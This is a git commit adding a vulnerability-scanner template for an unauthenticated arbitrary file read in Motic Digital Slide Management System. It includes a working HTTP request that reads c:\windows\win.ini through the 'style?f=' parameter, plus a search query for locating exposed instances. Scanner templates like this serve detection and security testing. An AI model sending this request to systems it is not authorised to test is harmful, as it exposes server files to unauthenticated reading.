add motic file read

patch-11
Kazgangap 2024-09-11 18:19:07 +03:00
parent 0a6a45b2d9
commit e7c1f88619
1 changed files with 47 additions and 0 deletions

View File

@ -0,0 +1,47 @@
id: motic-dsm-arbitrary-file-read
info:
name: MoticDSM - Arbitrary File Read
author: s4e-io
severity: high
description: |
Motic Digital Slide Management System style has an arbitrary file reading vulnerability. Unauthenticated attackers can exploit this vulnerability to read important system files, leaving the website in a highly insecure state.
reference:
- https://blog.csdn.net/qq_41904294/article/details/141219553
- https://blog.csdn.net/weixin_44337800/article/details/141328430
metadata:
verified: true
max-request: 2
vendor: xiamen-motic
product: moticdsm
fofa-query: icon_hash="617142232"
tags: moticdsm,lfi,file-read
flow: http(1) && http(2)
http:
- raw:
- |
GET /UploadService/Page/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body,"Motic")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
GET /UploadService/Page/style?f=c:\windows\win.ini HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body,"bit app support","fonts","extensions")'
- 'contains(content_type,"text/css")'
- 'status_code == 200'
condition: and